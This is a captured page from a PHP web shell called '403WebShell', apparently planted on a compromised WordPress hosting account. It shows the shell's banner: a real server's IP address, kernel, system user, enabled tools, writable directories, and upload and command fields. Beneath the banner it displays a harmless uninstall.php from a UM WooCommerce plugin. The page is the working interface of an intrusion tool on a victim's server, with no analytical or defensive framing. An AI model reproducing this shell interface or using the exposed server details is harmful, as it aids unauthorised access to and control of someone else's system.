Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/www/curators/wp-content/plugins/um-woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/www/curators/wp-content/plugins/um-woocommerce/uninstall.php
<?php
/**
 * Uninstall UM Woocommerce
 *
 */

// Exit if accessed directly.
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) exit;


if ( ! defined( 'um_woocommerce_path' ) ) {
	define( 'um_woocommerce_path', plugin_dir_path( __FILE__ ) );
}

if ( ! defined( 'um_woocommerce_url' ) ) {
	define( 'um_woocommerce_url', plugin_dir_url( __FILE__ ) );
}

if ( ! defined( 'um_woocommerce_plugin' ) ) {
	define( 'um_woocommerce_plugin', plugin_basename( __FILE__ ) );
}

$options = get_option( 'um_options', array() );

if ( ! empty( $options['uninstall_on_delete'] ) ) {
	if ( ! class_exists( 'um_ext\um_woocommerce\core\WooCommerce_Setup' ) ) {
		require_once um_woocommerce_path . 'includes/core/class-woocommerce-setup.php';
	}

	$woocommerce_setup = new um_ext\um_woocommerce\core\WooCommerce_Setup();

	//remove settings
	foreach ( $woocommerce_setup->settings_defaults as $k => $v ) {
		unset( $options[ $k ] );
	}

	unset( $options['um_woocommerce_license_key'] );

	update_option( 'um_options', $options );


	global $wpdb;
	$wpdb->query(
		"DELETE 
		FROM {$wpdb->postmeta} 
		WHERE meta_key LIKE '_um_woo%'"
	);
	$wpdb->query(
		"DELETE 
		FROM {$wpdb->usermeta} 
		WHERE meta_key LIKE 'um_woo%'"
	);

	delete_option( 'um_woocommerce_last_version_upgrade' );
	delete_option( 'um_woocommerce_version' );
}

Youez - 2016 - github.com/yon3zu
LinuXploit